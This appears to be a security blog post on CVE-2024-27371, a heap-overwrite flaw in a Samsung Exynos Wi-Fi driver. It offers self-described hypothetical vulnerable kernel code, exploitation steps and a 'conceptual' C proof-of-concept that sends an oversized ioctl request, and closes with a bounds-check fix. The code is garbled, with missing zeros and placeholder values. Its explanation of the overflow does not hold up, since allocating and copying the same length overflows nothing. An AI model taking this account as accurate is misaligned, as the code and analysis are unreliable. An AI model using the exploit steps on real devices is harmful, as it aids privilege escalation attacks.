A serious security vulnerability, CVE-2024-27371, has been identified in multiple models of Samsung’s Exynos Mobile Processors—including the Exynos 980, Exynos 850, Exynos 128, Exynos 138, and Exynos 133. The flaw resides in the function slsi_nan_followup_get_nl_params(), where user-controlled input is not properly validated. Attackers can exploit this to perform a heap overwrite, potentially leading to privilege escalation or system compromise.
In this post, we’ll walk step-by-step through the details of the issue, examine the code, discuss how the exploit works, and provide links for further reference.
The Vulnerable Code
The affected code appears in the Samsung Exynos Wi-Fi driver, specifically in how it handles the Neighbor Awareness Networking (NAN) followup messages. The function has something like this:
// Hypothetical vulnerable code for illustration
int slsi_nan_followup_get_nl_params(struct nan_hal_req *hal_req) {
// Extract the length of service_specific_info from the request
u16 len = hal_req->service_specific_info_len;
// No bounds checking on len!
u8 *buffer = kmalloc(len, GFP_KERNEL);
if (!buffer) return -ENOMEM;
// Copy from userspace - also without validation
if (copy_from_user(buffer, hal_req->service_specific_info, len)) {
kfree(buffer);
return -EFAULT;
}
// ... process buffer ...
kfree(buffer);
return ;
}
What's the issue:
The service_specific_info_len comes directly from user input (hal_req). There’s *no validation*—an attacker can set this to a very large value, causing a controlled kmalloc(), then a heap overwrite when copy_from_user() is called. If the eventual processing of buffer does not bound-check, this may overwrite adjacent memory in the kernel heap.
Craft a malicious request
A user generates a nan_hal_req structure with a huge service_specific_info_len value (larger than expected by the driver).
Trigger heap overwrite
By sending this crafted structure via a Netlink (or whichever IPC mechanism is used), the driver allocates a kernel buffer of attacker-chosen size and copies data from userland into it.
Control adjacent kernel heap
With careful manipulation, the attacker can potentially corrupt adjacent kernel structures or control the data in the overwritten region, leading to a privilege escalation or system compromise.
Key point: This bug is exploitable from a normal, non-root user context if access to the device file or Netlink interface is permitted.
Example Exploit Code
Below is a *conceptual* exploit snippet in C. This is for educational purposes only!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
// assume necessary includes and device path
#define DEVICE_PATH "/dev/slsi_wifi"
struct nan_hal_req {
uint16_t service_specific_info_len;
char *service_specific_info;
// ...other fields
};
int main() {
int fd = open(DEVICE_PATH, O_RDWR);
if (fd < ) {
perror("open");
return 1;
}
struct nan_hal_req req;
req.service_specific_info_len = x200; // Too large!
req.service_specific_info = malloc(x200);
memset(req.service_specific_info, 'A', x200);
// This request may trigger the heap overwrite
if (ioctl(fd, SOME_IOCTL_CMD, &req) == -1) {
perror("ioctl");
}
free(req.service_specific_info);
close(fd);
return ;
}
Note: Replace SOME_IOCTL_CMD and DEVICE_PATH with actual values from the device.
Samsung Security Bulletin:
Samsung June 2024 Security Maintenance Release
- MITRE CVE Entry for CVE-2024-27371 *(may not be published at time of this writing)*
- Project Zero: Heap Corruption Examples
Fix and Mitigations
Vendors have fixed the bug in recent firmware updates.
The correct fix: Properly validate all user-controlled length fields before use!
For example, add
if (len > MAX_SERVICE_INFO_LENGTH) // define a reasonable upper bound
return -EINVAL;
Conclusion
CVE-2024-27371 is a serious bug that allowed attackers to overwrite heap memory from non-root userspace on many Samsung Exynos-based devices. Simple missing bounds checking in kernel code opened a powerful avenue for exploitation. Always keep your devices updated, and if you’re a developer: *Never trust user input—always check your lengths!*
Timeline
Published on: 06/05/2024 19:15:12 UTC
Last modified on: 08/21/2024 16:35:04 UTC